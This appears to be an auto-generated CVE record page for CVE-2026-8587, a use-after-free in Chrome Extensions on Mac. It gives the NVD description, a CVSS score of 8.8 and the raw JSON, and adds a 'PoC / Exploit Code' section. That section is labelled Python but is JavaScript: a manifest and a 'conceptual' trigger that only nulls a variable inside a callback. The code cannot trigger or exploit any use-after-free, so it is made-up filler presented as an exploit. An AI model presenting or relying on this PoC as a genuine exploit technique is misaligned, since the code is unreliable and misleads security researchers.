CVE-2026-8587

Description

Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome (Mac) < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-8587: Use After Free in Chrome Extensions
// manifest.json
/*
{
  "name": "UAF PoC",
  "version": "1.0",
  "manifest_version": 3,
  "background": { "service_worker": "exploit.js" },
  "permissions": ["tabs"]
}
*/

// exploit.js (Conceptual Trigger)
// This script attempts to trigger the UAF in the Extensions component
// by manipulating object references before garbage collection.

let vulnerableObject = null;

function triggerUAF() {
    // Step 1: Allocate/Use object in Extension context
    vulnerableObject = document.createElement('div'); // Simplified representation

    // Step 2: Trigger the free operation (specific to the vulnerable API)
    // Hypothetical function call that frees the object but keeps a reference
    chrome.tabs.query({}, function(tabs) {
        // Simulating the condition where the object is freed
        vulnerableObject = null;
    });

    // Step 3: Use the freed object
    // If timing is right, this accesses freed memory
    if (vulnerableObject) {
        vulnerableObject.innerHTML = "Arbitrary Code Execution Context";
    }
}

// Execute the trigger
triggerUAF();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8587
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8587
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8587/
[4] VulDB https://vuldb.com/cve/CVE-2026-8587
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/507356235

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8587", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:21.083", "lastModified": "2026-05-14T21:19:23.923", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Extensions in Google Chrome on Mac prior to 148.0.7778.168 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/507356235", "source": "[email protected]"}]}}